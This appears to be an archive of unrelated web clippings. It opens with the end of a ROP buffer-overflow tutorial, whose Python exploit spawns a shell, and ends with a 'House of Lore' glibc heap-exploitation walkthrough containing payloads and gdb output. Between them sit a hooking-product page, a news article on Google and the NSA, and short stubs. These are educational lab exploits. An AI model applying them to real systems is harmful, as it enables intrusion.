1716: 08049290 103 FUNC GLOBAL DEFAULT 4 \_\_libc\_system  
  
root@bt:~/rop\# readelf -S vuln | grep exit  
95: 080c0638 4 OBJECT LOCAL DEFAULT 8 \_\_elf\_set\_\_\_libc\_atexit\_e  
1193: 080c700c 4 OBJECT GLOBAL DEFAULT 20 \_\_exit\_funcs  
1230: 08048cf0 71 FUNC GLOBAL DEFAULT 4 \_\_internal\_atexit  
1282: 08048ba0 328 FUNC GLOBAL DEFAULT 4 \_\_new\_exitfn  
1336: 08051bc0 26 FUNC GLOBAL DEFAULT 4 \_\_exit\_thread  
1408: 080c0638 0 NOTYPE GLOBAL DEFAULT ABS \_\_start\_\_\_libc\_atexit  
1537: 080c063c 0 NOTYPE GLOBAL DEFAULT ABS \_\_stop\_\_\_libc\_atexit  
1567: 08048a70 255 FUNC GLOBAL DEFAULT 4 \_\_run\_exit\_handlers  
1600: 08048d40 41 FUNC GLOBAL DEFAULT 4 \_\_cxa\_atexit  
1729: 0808ede0 7 FUNC GLOBAL DEFAULT 4 \_dl\_call\_pltexit  
1817: 080c91e0 8 OBJECT GLOBAL DEFAULT 21 \_\_new\_exitfn\_called  
1933: 08048b70 33 FUNC GLOBAL DEFAULT 4 exit  
1977: 08051b4c 19 FUNC GLOBAL DEFAULT 4 \_exit  
  
Here we see that the address of system\(\) is 0x08049290 and the address of
exit is 0x08048b70. Without the addresses of the gadgets themselves, this is
what the exploit now looks like.  
  
Stack + exploit:  
|---------------------------------|  
| buffer\[512\] |  
|---------------------------------|  
| junk |   
|---------------------------------|  
| junk |   
|---------------------------------|  
| junk |   
|---------------------------------|  
| pop edx |  
|---------------------------------|  
| 0x080c7780 | <= address of custom stack  
|---------------------------------|  
| pop eax |  
|---------------------------------|  
| 0x08049290 | <= addr of system\(\)  
|---------------------------------|  
| mov \[edx\], eax | <= move address of system  
|---------------------------------|  
| pop edx |  
|---------------------------------|  
| 0x080c7784 |  
|---------------------------------|  
| pop eax |  
|---------------------------------|  
| 0x08048b70 | <= addr of exit\(\)  
|---------------------------------|  
| mov \[edx\], eax | <= move address of exit  
|---------------------------------|  
| pop edx |  
|---------------------------------|  
| 0x080c7788 |  
|---------------------------------|  
| pop eax |  
|---------------------------------|  
| 0x080c778c | <= addr of custom stack + 0xc  
|---------------------------------|  
| mov \[edx\], eax | <= move address of "/bin/sh"  
|---------------------------------|  
| pop edx |  
|---------------------------------|  
| 0x080c778c |  
|---------------------------------|  
| pop eax |  
|---------------------------------|  
| 0x2f62696e | <= "/bin" hex encoded  
|---------------------------------|  
| mov \[edx\], eax | <= move "/bin"  
|---------------------------------|  
| pop edx |  
|---------------------------------|  
| 0x080c7790 |  
|---------------------------------|  
| pop eax |  
|---------------------------------|  
| 0x2f2f7368 | <= "//sh" hex encoded  
|---------------------------------|  
| mov \[edx\], eax | <= move "//sh"  
|---------------------------------|  
| pop eax |  
|---------------------------------|  
| 0x080c7780 |  
|---------------------------------|  
| xchg esp, eax | <= pivot esp to new stack  
|---------------------------------|  
  
I used grep to search through my file of gadgets and pull out all the
addresses I needed. I wrote the actual exploit in python.  
  
\#\!/usr/bin/env python  
import sys  
  
bufLen = 524  
popEax = "\xec\xec\x0b\x08"  
popEdx = "\xd8\x2a\x05\x08"  
movEdxEax = "\x81\x96\x07\x08"  
xchgEspEax = "\xd9\xd4\x0b\x08"  
  
\# mov system\(\) addr to custom stack  
exploit = popEdx+"\x80\x77\x0c\x08"+popEax+"\x90\x92\x04\x08"+movEdxEax  
  
\# mov exit\(\) addr to custom stack  
exploit +=popEdx+"\x84\x77\x0c\x08"+popEax+"\x70\x8b\x04\x08"+movEdxEax  
  
\# mov "/bin/sh" addr to custom stack  
exploit +=popEdx+"\x88\x77\x0c\x08"+popEax+"\x8c\x77\x0c\x08"+movEdxEax  
  
\# mov "/bin" to custom stack  
exploit +=popEdx+"\x8c\x77\x0c\x08"+popEax+"\x2f\x62\x69\x6e"+movEdxEax  
  
\# mov "//sh" to custom stack  
exploit +=popEdx+"\x90\x77\x0c\x08"+popEax+"\x2f\x2f\x73\x68"+movEdxEax  
  
\# pop custom stack addr to eax, then xchg esp and eax  
exploit +=popEax+"\x80\x77\x0c\x08"+xchgEspEax  
  
sys.stdout.write\('A'\*bufLen + exploit\)  
  
  
Running this exploit gives us the following.  

  

root@bt:~/rop\# ./vuln $\(./exploit.py\)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAØ\* €w ìì �’ �– Ø\* „w ìì p‹ �– Ø\* ˆw ìì Œw �– Ø\* Œw ìì /bin�– Ø\*

�w ìì //sh�– ìì €w ÙÔ  
exploit.py gadgets vuln vuln.c

sh-4.1\# exit  
exit  
root@bt:~/rop\#  
  
It works\!  
  

####  A few notes

I statically compiled this binary so that I would enough gadgets to play with.
If I don't do this, libc is located in a randomized area of memory, so the
address of system\(\) will change every time I run vuln. In my next project, I
will look into ways to determine this address through use of the GOT.
Furthermore, this address of system\(\) is always mapped with a null byte, in
order to prevent direct references to this address in a buffer overflow.

# Products Overview / Deviare API Hook Overview | Nektra Advanced Computing
**Created:**| _2/24/2014 9:04:36 PM_  
---|---  
**Updated:**| _2/24/2014 9:04:36 PM_  
**Author:**| __  
**Tags:**| _Debugging hooks_  
  

# **D** eviare API Hook Overview****

Deviare is a professional hooking engine for instrumenting arbitrary Win32
functions, COM objects, and functions which symbols are located in program
databases \(PDBs\)**.** It can intercept unmanaged code in 32-bit and 64-bit
applications**.** It is implemented as a COM component, so it can be
integrated with all the programming languages which support COM, such as
C/C++, VB, C\#, Delphi, and Python**.**

Several Fortune 500 companies are using Deviare technology for application
virtualization, packaging, and troubleshooting, and for computer security**.**
Computer science researchers are also using Deviare to conduct malware and
reverse engineering studies**.** Our blog articles  contain a vast quantity of
code samples to get you started easily**.**

Deviare offers a unique “programmer friendly API” which resolves the
complexities associated with binary instrumentation so that even software
engineers without expertise in the field can use it**.** Deviare takes care of
code injection, parameter marshalling, and inter-process communication**.** We
created Deviare API in 2007 and continually improve it**.** Intercepting
applications is a complex task**.** We test multiple application environments
to ensure that the end user has a trouble-free experience**.** Deviare also
has a focus on performance handling thousands of hooks with little
footprint**.**

Code instrumentation is used in several other areas like: tracing and
debugging, sandboxing and browser security, malware analysis, video conference
recording, and gaming**.**

Download Deviare now**\!**

## Featured Deviare Articles****

## Additional Resources****

## If you are interested in Deviare, you might also be interested in**** :

## Case Studies****

## Presentations****

****

# Google to enlist NSA to help it ward off cyberattacks

**Created:**| _2/4/2010 7:02:45 PM_  
---|---  
**Updated:**| _2/4/2010 7:03:04 PM_  
**Author:**| __  
**Tags:**| _Google intelligence OSINT_  
  
**Google to enlist NSA to help it ward off cyberattacks**  

By Ellen Nakashima  
Thursday, February 4, 2010; A01  

The world's largest Internet search company and the world's most powerful
electronic surveillance organization are teaming up in the name of
cybersecurity.

Under an agreement that is still being finalized, the National Security Agency
would help Google analyze a major corporate espionage attack that the firm
said originated in China and targeted its computer networks, according to
cybersecurity experts familiar with the matter. The objective is to better
defend Google -- and its users -- from future attack.

Google and the NSA declined to comment on the partnership. But sources with
knowledge of the arrangement, speaking on the condition of anonymity, said the
alliance is being designed to allow the two organizations to share critical
information without violating Google's policies or laws that protect the
privacy of Americans' online communications. The sources said the deal does
not mean the NSA will be viewing users' searches or e-mail accounts or that
Google will be sharing proprietary data.

The partnership strikes at the core of one of the most sensitive issues for
the government and private industry in the evolving world of cybersecurity:
how to balance privacy and national security interests. On Tuesday, Director
of National Intelligence Dennis C. Blair called the Google attacks, which the
company acknowledged in January, a "wake-up call." Cyberspace cannot be
protected, he said, without a "collaborative effort that incorporates both the
U.S. private sector and our international partners."

But achieving collaboration is not easy, in part because private companies do
not trust the government to keep their secrets and in part because of concerns
that collaboration can lead to continuous government monitoring of private
communications. Privacy advocates, concerned about a repeat of the NSA's
warrantless interception of Americans' phone calls and e-mails after the Sept.
11, 2001, terrorist attacks, say information-sharing must be limited and
closely overseen.

"The critical question is: At what level will the American public be
comfortable with Google sharing information with NSA?" said Ellen McCarthy,
president of the Intelligence and National Security Alliance, an organization
of current and former intelligence and national security officials that seeks
ways to foster greater sharing of information between government and industry.

On Jan. 12, Google took the rare step of announcing publicly that its systems
had been hacked in a series of intrusions beginning in December.

The intrusions, industry experts said, targeted Google source code -- the
programming language underlying Google applications -- and extended to more
than 30 other large tech, defense, energy, financial and media companies. The
Gmail accounts of human rights activists in Europe, China and the United
States were also compromised.

So significant was the attack that Google threatened to shutter its business
operation in China if the government did not agree to let the firm operate an
uncensored search engine there. That issue is still unresolved.

Google approached the NSA shortly after the attacks, sources said, but the
deal is taking weeks to hammer out, reflecting the sensitivity of the
partnership. Any agreement would mark the first time that Google has entered a
formal information-sharing relationship with the NSA, sources said. In 2008,
the firm stated that it had not cooperated with the NSA in its Terrorist
Surveillance Program.

Sources familiar with the new initiative said the focus is not figuring out
who was behind the recent cyberattacks -- doing so is a nearly impossible task
after the fact -- but building a better defense of Google's networks, or what
its technicians call "information assurance."

One senior defense official, while not confirming or denying any agreement the
NSA might have with any firm, said: "If a company came to the table and asked
for help, I would ask them . . . 'What do you know about what transpired in
your system? What deficiencies do you think they took advantage of? Tell me a
little bit about what it was they did.' " Sources said the NSA is reaching out
to other government agencies that play key roles in the U.S. effort to defend
cyberspace and might be able to help in the Google investigation.

These agencies include the FBI and the Department of Homeland Security.

Over the past decade, other Silicon Valley companies have quietly turned to
the NSA for guidance in protecting their networks.

"As a general matter," NSA spokeswoman Judi Emmel said, "as part of its
information-assurance mission, NSA works with a broad range of commercial
partners and research associates to ensure the availability of secure tailored
solutions for Department of Defense and national security systems customers."

Despite such precedent, Matthew Aid, an expert on the NSA, said Google's
global reach makes it unique.

"When you rise to the level of Google . . . you're looking at a company that
has taken great pride in its independence," said Aid, author of "The Secret
Sentry," a history of the NSA. "I'm a little uncomfortable with Google
cooperating this closely with the nation's largest intelligence agency, even
if it's strictly for defensive purposes."

The pact would be aimed at allowing the NSA help Google understand whether it
is putting in place the right defenses by evaluating vulnerabilities in
hardware and software and to calibrate how sophisticated the adversary is. The
agency's expertise is based in part on its analysis of cyber-"signatures" that
have been documented in previous attacks and can be used to block future
intrusions.

The NSA would also be able to help the firm understand what methods are being
used to penetrate its system, the sources said. Google, for its part, may
share information on the types of malicious code seen in the attacks --
without disclosing proprietary data about what was taken, which would concern
shareholders, sources said.

Greg Nojeim, senior counsel for the Center for Democracy & Technology, a
privacy advocacy group, said companies have statutory authority to share
information with the government to protect their rights and property.

# CUDA Guide

**Created:**| _1/19/2010 3:13:39 PM_  
---|---  
**Updated:**| _1/19/2010 3:14:09 PM_  
**Author:**| __  
**Tags:**| _setup Linux crypto Tutorials cuda_  
  
<img src='img/Temp2_1295' />

# Cucumber - Making BDD fun

**Created:**| _11/22/2012 10:14:43 AM_  
---|---  
**Updated:**| _11/22/2012 10:14:43 AM_  
**Author:**| __  
**Tags:**| __  
  
  

Cucumber lets software development teams describe how software should behave
in plain text. The text is written in a business-readable domain-specific
language and serves as documentation, automated tests and development-aid -
all rolled into one format.

Cucumber works with Ruby, Java, .NET, Flex or web applications written in any
language. It has been translated to over 40 spoken languages.

Cucumber also supports more succinct tests in tables - similar to what FIT
does. Dig around in the examples and documentation to learn more about
Cucumber tables.

  

# x86 Exploitation 101: “House of Lore” – People and traditions | gb\_master's /dev/null
**Created:**| _7/16/2015 10:58:27 AM_  
---|---  
**Updated:**| _7/16/2015 11:04:20 AM_  
**Author:**| __  
**Tags:**| _x86 Heap_  
  

It’s time now to talk about one of the most obscure \(probably\) techniques
described by Phantasmal Phantasmagoria in his “Malloc Maleficarum“:

  

THE HOUSE OF LORE

  

When the “Malloc Maleficarum” was published, as it was a purely theoretical
article, contained no real exploit implementations or practical examples.
Things got a little bit better with blackngel’s “Malloc Des-Maleficarum“, in
which the author tried to analyze how this technique should be applied, but he
wasn’t able to provide, again, any practical example. He did it, at last, in
his Phrack’s article “The House of Lore: Reloaded ptmalloc v2 & v3: Analysis &
Corruption“, in which he got managed to explore both the corruption of small
and large bins in order to be able to control the return value of a malloc\(\)
call. The common point between the smallbin and the largebin’s corruption is
to overwrite the metadata of a chunk previously processed by the free\(\)
function.

  

Smallbin Corruption

  

Ingredients:

\- Two chunks are allocated and the first one is overflowable

\- The second chunk is freed

\- Another \(potentially more\) chunk, bigger than the second one, is
allocated

\- A new chunk with the same size of the second one is allocated

\- Another chunk with the same size of the second one is allocated

  

The glibc’s code \(as usual, version 2.3.5\) blamed for this bug starts at
line \#3866:

  

Void\_t\*  
\_int\_malloc\(mstate av, size\_t bytes\)  
\{  
  \[...\]  
  
  checked\_request2size\(bytes, nb\);  
  
  \[...\]  
  
  if \(\(unsigned long\)\(nb\) <= \(unsigned long\)\(av->max\_fast\)\) \{  
    \[...\]  
  \}  
  
  \[...\]  
  
  /\*  
    If a small request, check regular bin.  Since these "smallbins"  
    hold one size each, no searching within bins is necessary.  
    \(For a large request, we need to wait until unsorted chunks are  
    processed to find best fit. But for small ones, fits are exact  
    anyway, so we can check now, which is faster.\)  
  \*/  
  
  if \(in\_smallbin\_range\(nb\)\) \{  
    idx = smallbin\_index\(nb\);  
    bin = bin\_at\(av,idx\);  
  
    if \( \(victim = last\(bin\)\) \!= bin\) \{  
      if \(victim == 0\) /\* initialization check \*/  
        malloc\_consolidate\(av\);  
      else \{  
        bck = victim->bk;  
        set\_inuse\_bit\_at\_offset\(victim, nb\);  
        bin->bk = bck;  
        bck->fd = bin;  
  
        if \(av \!= &main\_arena\)  
  victim->size |= NON\_MAIN\_ARENA;  
        check\_malloced\_chunk\(av, victim, nb\);  
        return chunk2mem\(victim\);  
      \}  
    \}  
  \}  

  

Reaching this code requires that the malloc\(\) call requests more than the
fastbin’s size, which is set, by default to 72 bytes \(we’re talking here
about the normalized size\). Provided this, the in\_smallbin\_range just
checks that the request meets the smallbins requirements: its size must be
less than MIN\_LARGE\_SIZE \(set, by default, to 512 bytes\).

  

Phantasmal remembered us that, when a chunk is freed, it isn’t directly put
into its corresponding bin, but it stays into a kind-of limbo: the “unsorted
chunk” bin. This bin is like a stack implemented as a doubly linked list and
it’s used to potentially satisfy a subsequent malloc\(\) request if the
request matches the size of the unsorted-chunk’ed chunk. If it doesn’t, then
the chunk is moved to its respective bin. This whole thing is done for
performance purposes. So, for this exploitation technique to work, it is
necessary that the chunk is put back into the bin: it means that another
malloc\(\) request must be performed after the chunk is freed and before the
first chunk is filled with overflowing data. Also, the request must be for a
bigger size of data than the freed chunk.

  

So, the code will try to check if there’s a chunk fitting the request into the
smallbins by using the idx = smallbin\_index\(nb\) and the bin =
bin\_at\(av,idx\) macros. The last\(b\) macro just returns the bk pointer of
the chunk. If there were no available chunks, then the bk pointer would point
to its own chunk. But if there is an available chunk \(as we know there is\),
then the unlinking code is reached.

\- bck = victim->bk: bck points to the penultimate chunk

\- bin->bk = bck: bck is now the last chunk

\- bck->fd = bin: fd points to the new last chunk: this step requires that
victim->bk points to an area of writable memory

  

One important thing should be kept in mind: when a chunk is taken from the
“unsorted chunk” bin and put into its bin, it’s put as the first element. As
we saw from the code, the last\(\) macro will always take the last one. It
might be necessary to perform several malloc\(\) calls in order to have our
freed chunk at the last place in the bin.

  

The resulting chunk is then transformed into a pointer by using the usual
chunk2mem\(victim\) macro. Phantasmal said that the key for the Lore is to
control the bin->bk: that’s why it is required that there is already a free
chunk in the list, as a following overflow of the first chunk would overwrite
the victim’s bk pointer.

  

After doing this, of course, the same freed chunk is returned by the
malloc\(\). A subsequent request would re-perform the same exact steps, BUT,
this time, even if the bin is empty, its bk pointer won’t point to the bin
itself \(as the previous step overwrote that pointer\) and the allocator will
think that there’s still one chunk inside. It’s important to remember that,
again, victim->bk must point to a writable location. What happens next is
pretty obvious: the malloc\(\) function will return a chunk located at the
value the original bk was overwritten with, plus 8 bytes. If bk was
overwritten with a value pointing at the stack, well…

  

blackngel provided an example, matching all the requirements of the smallbin
corruption approach:

  

\#include <stdio.h>  
\#include <stdlib.h>  
\#include <string.h>  
  
void evil\_func\(void\)  
\{  
  printf\("\nThis is an evil function. You become a cool hacker if you are
able to execute it.\n"\);  
\}  
  
void func1\(void\)  
\{  
  char \*lb1, \*lb2;  
  
  lb1 = \(char \*\) malloc\(128\);  
  printf\("LB1 -> \[ %p \]", lb1\);  
  lb2 = \(char \*\) malloc\(128\);  
  printf\("\nLB2 -> \[ %p \]", lb2\);  
  
  strcpy\(lb1, "Which is your favourite hobby? "\);  
  printf\("\n%s", lb1\);  
  fgets\(lb2, 128, stdin\);  
\}  
  
int main\(int argc, char \*argv\[\]\)  
\{  
  char \*buff1, \*buff2, \*buff3;  
  
  malloc\(4056\);  
  buff1 = \(char \*\) malloc\(16\);  
  printf\("\nBuff1 -> \[ %p \]", buff1\);  
  buff2 = \(char \*\) malloc\(128\);  
  printf\("\nBuff2 -> \[ %p \]", buff2\);  
  buff3 = \(char \*\) malloc\(256\);  
  printf\("\nBuff3 -> \[ %p \]\n", buff3\);  
  
  free\(buff2\);  
  
  printf\("\nBuff4 -> \[ %p \]\n", malloc\(1423\)\);  
  
  strcpy\(buff1, argv\[1\]\);  
  
  func1\(\);  
  
  return 0;  
\}

  

As you can see, all the steps previously discussed are reported into this
piece of code: the goal is to execute the evil\_func\(\) function. The idea is
to overwrite buff2->bk by overflowing buff1 at strcpy time and to have lb2
pointing at the return value in the stack: at this point, it suffices just to
input a new value for it at fgets\(\) time.

  

By reading blackngel’s last paper, it’s easy to follow the steps he performed
to write a working exploit. First thing, he needed the evil\_func\(\)‘s return
address location, which happened to be at 0xBFFFF35C. When choosing the value
to overwrite bk with, he wrote in the paper the status of the stack at the
beginning of func1:

  

\(gdb\) x/16x $ebp-32  
0xbffff338:    0x00000000      0x00000000      0xbffff388      0x00743fc0  
0xbffff348:    0x00251340      0x00182a20      0x00000000      0x00000000  
0xbffff358:    0xbffff388      0x08048d1e      0x0804ffe8      0xbffff5d7  
0xbffff368:    0x0804c0b0      0xbffff388      0x0013f345      0x08050088  
  
EBP -> 0xBFFFF358  
RET -> 0xBFFFF35C  

  

He said he chose 0xBFFFF33C for the overwriting process, but, in my opinion,
this makes no sense, as, using that value, means that:

\- During the first malloc\(\) call inside func1, bck points at 0xBFFFF348

\- When trying to access to bck->fd, it will fail, as it’s likely that
0x00251340 \(the content of 0xBFFFF348\) is not a valid memory address

  

So, I think he either meant to write 0xBFFFF34C or he reported a wrong stack
layout. Let’s say that the stack dump is OK and that 0xBFFFF34C will be used:
during the first call bck will point at 0xBFFFF358 and, when trying to access
to bck->fd, everything will work fine, as 0xBFFFF390 \(0xBFFFF388 + 8\) is
writable.

  

When the second malloc\(\) request is performed, victim will be equal to
0xBFFFF34C and victim->bk to 0xBFFFF388 \(an address with valid write
permissions\). At the end, the allocator will return 0xBFFFF354 \(8 bytes
before the return address in the stack\).

  

The values I computed and blackngel’s ones differ by 0x00000010. I really hope
I got this one right.

  

So, what’s left is the computation of the new return address, which, in
blackngel’s own scenario, happened to be at 0x08048BA4

  

When he put everything’s together, what he got is \(I slightly adapted his
output\):

  

black@odisea:~$ perl -e 'print "BBBBBBBB". "\xa4\x8b\x04\x08"' > evil.in  
  
...  
  
\(gdb\) run \`perl -e 'print "A"x28 . "\x4c\xf3\xff\xbf"'\` < evil.in  
  
Buff1 -> \[ 0x804ffe8 \]  
Buff2 -> \[ 0x8050000 \]  
Buff3 -> \[ 0x8050088 \]  
  
Buff4 -> \[ 0x8050190 \]  
LB1 -> \[ 0x8050000 \]  
LB2 -> \[ 0xbffff344 \]  
Which is your favourite hobby?  
  
This is an evil function. You become a cool hacker if you are able to execute
it.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x08048bb7 in evil\_func \(\)  
\(gdb\)  

  

In 2009, this vulnerability was patched with this commit, which checks the
usual consistency between the pointers of the list. At this point, blackngel
gives a great hint:

  

This check can still be overcome if you control an area into the stack and you
can write an integer such that its value is equal to the address of the
recently free chunk \(victim\). This must happen before the next call to
malloc\( \) with the same size requested.

  

I tried to do this, but I found out that it’s not the only thing required: in
fact you need to be able to control three integer values inside the func1
stack frame. However, yes, with this additional requirement, it’s possible to
have the House of Lore even with glibc 2.20. What I did is to modify the func1
in the following way:

  

void func1\(\)  
\{  
  char \*lb1, \*lb2;  
  
  unsigned int a = 0xAAAAAAAA;  
  unsigned int b = 0xBBBBBBBB;  
  unsigned int c = 0xCCCCCCCC;  
  
  lb1 = \(char \*\) malloc\(128\);  
  printf\("LB1 -> \[ %p \]", lb1\);  
  lb2 = \(char \*\) malloc\(128\);  
  printf\("\nLB2 -> \[ %p \]", lb2\);  
  
  strcpy\(lb1, "Which is your favourite hobby? "\);  
  printf\("\n%s", lb1\);  
  fgets\(lb2, 128, stdin\);  
\}  

  

Yes, I know that manually setting the values inside the code itself is not a
clean way of doing things, but I didn’t want to waste too much time by writing
fgets and conversions from ASCII to integers. The concept still stays.

The first thing to do is to overwrite victim‘s bk pointer in such a way that
bck‘s fd value is located where a is. In order to do this, we need a layout of
func1‘s stack.

  

\(gdb\) x/20x 0xffffcf30  
0xffffcf30: 0xf7e5d000 0x00000000 0x0804860c 0x00000080  
0xffffcf40: 0xaaaaaaaa 0xbbbbbbbb 0xcccccccc 0x00000000  
0xffffcf50: 0x0804874b 0xffffcf68 0x08048753 0x0804bfe8  
0xffffcf60: 0x0804c000 0x0804c088 0x00000000 0xf7cdd943  
0xffffcf70: 0x00000002 0xffffd004 0xffffd010 0xf7feb05e  
  
RET -> 0xFFFFCF58  

  

In order to have bck‘s fd field located at 0xFFFFCF40 we need to overwrite
victim‘s bk with 0xFFFFCF38.

  

$ ./hol \`python -c 'import sys;
sys.stdout.write\("AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x38\xCF\xFF\xFF"\)'\`  
  
Buff1 -> \[ 0x804bfe8 \]  
Buff2 -> \[ 0x804c000 \]  
Buff3 -> \[ 0x804c088 \]  
  
Buff4 -> \[ 0x804c190 \]  
\*\*\* Error in \`./hol': malloc\(\): smallbin double linked list corrupted:
0x0804c000 \*\*\*  

  

In order to pass the check, the a variable must be set to 0x0804C000’s chunk:
0x0804BFF8. This will make the first malloc\(\) call to correctly return the
old buff2‘s address. When the malloc\(\) is called again, this check will be
performed again and we need to handle this situation. In this new scenario,
victim will be set at 0xFFFFCF38 and its bk will be, of course, located where
b is stored. This variable must store the address of a fake chunk in such a
way that its fd field lies on c: 0xFFFFCF40. Of course, c must be set as well
to the same value of the victim: 0xFFFFCF38.

The updated code will look like:

  

void func1\(\)  
\{  
  char \*lb1, \*lb2;  
  
  unsigned int a = 0x0804BFF8;  
  unsigned int b = 0xFFFFCF40;  
  unsigned int c = 0xFFFFCF38;  
  
  \[...\]  

  

Trying to run this one, will result into a correct allocation of both lb1 and
lb2: the latter points, on my machine, at 0xFFFFCF40. As the address of
evil\_func is 0x080485D5, the payload can be generated with the following
command:

  

python -c 'import sys; sys.stdout.write\("B" \* 24 + "\xD5\x85\x04\x08"\)' >
payload  

  

Putting this altogether and running it, gives the expected result:

  

$ ./hol \`python -c 'import sys;
sys.stdout.write\("AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x38\xCF\xFF\xFF"\)'\` <
payload  
  
Buff1 -> \[ 0x804bfe8 \]  
Buff2 -> \[ 0x804c000 \]  
Buff3 -> \[ 0x804c088 \]  
  
Buff4 -> \[ 0x804c190 \]  
LB1 -> \[ 0x804c000 \]  
LB2 -> \[ 0xffffcf40 \]  
Which is your favourite hobby?  
This is an evil function. You become a cool hacker if you are able to execute
it.  
Segmentation fault  

  

Mission accomplished. Useless to say that ASLR was disabled during this
exploitation.

  

It’s time to give a look at the alternative recipe for this attack:

  

Largebin Corruption

  

Ingredients:

\- Two chunks are allocated and the first one is overflowable

\- The second chunk is freed

\- Another \(potentially more\) chunk, bigger than the second one, is
allocated

\- A new chunk smaller than the second one is allocated

\- Another chunk with the same previous size is allocated

  

The idea here is the same: corrupting the bk value of the freed chunk. The
code involved into this corruption starts at line \#3912:

  

/\*  
  Process recently freed or remaindered chunks, taking one only if  
  it is exact fit, or, if this a small request, the chunk is remainder from  
  the most recent non-exact fit.  Place other traversed chunks in  
  bins.  Note that this step is the only place in any routine where  
  chunks are placed in bins.  
  
  The outer loop here is needed because we might not realize until  
  near the end of malloc that we should have consolidated, so must  
  do so and retry. This happens at most once, and only when we would  
  otherwise need to expand memory to service a "small" request.  
\*/  
  
for\(;;\) \{  
  
  while \( \(victim = unsorted\_chunks\(av\)->bk\) \!=
unsorted\_chunks\(av\)\) \{  
    \[...\]  
  \}  
  
  /\*  
    If a large request, scan through the chunks of current bin in  
    sorted order to find smallest that fits.  This is the only step  
    where an unbounded number of chunks might be scanned without doing  
    anything useful with them. However the lists tend to be short.  
  \*/  
  
  if \(\!in\_smallbin\_range\(nb\)\) \{  
    bin = bin\_at\(av, idx\);  
  
    /\* skip scan if empty or largest chunk is too small \*/  
    if \(\(victim = last\(bin\)\) \!= bin &&  
        \(unsigned long\)\(first\(bin\)->size\) >= \(unsigned long\)\(nb\)\)
\{  
  
      while \(\(\(unsigned long\)\(size = chunksize\(victim\)\) <  
              \(unsigned long\)\(nb\)\)\)  
        victim = victim->bk;  
  
      remainder\_size = size - nb;  
      unlink\(victim, bck, fwd\);  
      \[...\]  
    \}  
  \}  
  
  /\*  
    Search for a chunk by scanning bins, starting with next largest  
    bin. This search is strictly by best-fit; i.e., the smallest  
    \(with ties going to approximately the least recently used\) chunk  
    that fits is selected.  
  
    The bitmap avoids needing to check that most blocks are nonempty.  
    The particular case of skipping all bins during warm-up phases  
    when no chunks have been returned yet is faster than it might look.  
  \*/  
  
  ++idx;  
  bin = bin\_at\(av,idx\);  
  \[...\]  
  
  for \(;;\) \{  
    \[...\]  
    /\* Inspect the bin. It is likely to be non-empty \*/  
    victim = last\(bin\);  
  
    /\*  If a false alarm \(empty bin\), clear the bit. \*/  
    if \(victim == bin\) \{  
      \[...\]  
    \}  
  
    else \{  
      size = chunksize\(victim\);  
  
      /\*  We know the first chunk in this bin is big enough to use. \*/  
      assert\(\(unsigned long\)\(size\) >= \(unsigned long\)\(nb\)\);  
  
      remainder\_size = size - nb;  
  
      /\* unlink \*/  
      bck = victim->bk;  
      bin->bk = bck;  
      bck->fd = bin;  
  
      /\* Exhaust \*/  
      if \(remainder\_size < MINSIZE\) \{  
        \[...\]  
        return chunk2mem\(victim\);  
      \}  
  
      /\* Split \*/  
      else \{  
        \[...\]  
        set\_foot\(remainder, remainder\_size\);  
        check\_malloced\_chunk\(av, victim, nb\);  
        return chunk2mem\(victim\);  
      \}  
    \}  
  \}  
  \[...\]  
\}  

  

The first thing to keep in mind is that, reaching this code, requires to
perform an allocation request for more than 512 bytes \(otherwise, smallbins
will be used\).

If the initial while loop is correctly passed, it means that the freed chunk
has been put in its largebin. This step can be obtained by allocating, as in
the smallbin scenario, a bigger chunk after freeing the second chunk.

  

Requesting an allocation of the same size of the freed chunk would trigger a
block of code searching the corresponding bin for a chunk, returning the
overflowed chunk. Anyway, this piece of could would use the unlink\(\) macro
to remove this chunk from the bin, ruining everything. This means that a
smaller request must be performed, or, as Phantasmal Phantasmagoria said, “512
< M < N”, where N is the size of the freed chunk and M is the request we’re
talking about now. If no chunks are found fitting the request of size M,
malloc\(\) will iterate through the bins until a fulfilling one is found.

  

The victim chunk will be, as usual, the last one of the bin and, in our case,
it’ll be the overflowed chunk. But this code really resembles the smallbin’s
one. And it actually does: the chunk is unlinked from the list without using
the macro. The only difference is that set\_foot call, as it tends to go
segmentation faulting when exploiting this vulnerability without taking the
right precautions. In fact, remainder\_size is computed from victim->size,
which is filled with random data if using the smallbin’s exploit. If the
application allows to insert 0x00 bytes, then it would be possible to provide
a correct value \(remainder\_size must be less than MINSIZE\) in the attack
string and the segmentation fault would be avoided.

  

blackngel’s rewrote his application example in order to match these new
requirements:

  

\#include <stdlib.h>  
\#include <stdio.h>  
\#include <string.h>  
  
void evil\_func\(void\)  
\{  
  printf\("\nThis is an evil function. You become a cool hacker if you are
able to execute it\n"\);  
\}  
  
void func1\(void\)  
\{  
  char \*lb1, \*lb2;  
  
  lb1 = \(char \*\) malloc\(1536\);  
  printf\("\nLB1 -> \[ %p \]", lb1\);  
  lb2 = malloc\(1536\);  
  printf\("\nLB2 -> \[ %p \]", lb2\);  
  
  strcpy\(lb1, "Which is your favourite hobby: "\);  
  printf\("\n%s", lb1\);  
  fgets\(lb2, 128, stdin\);  
\}  
  
int main\(int argc, char \*argv\[\]\)  
\{  
  char \*buff1, \*buff2, \*buff3;  
  
  malloc\(4096\);  
  buff1 = \(char \*\) malloc\(1024\);  
  printf\("\nBuff1 -> \[ %p \]", buff1\);  
  buff2 = \(char \*\) malloc\(2048\);  
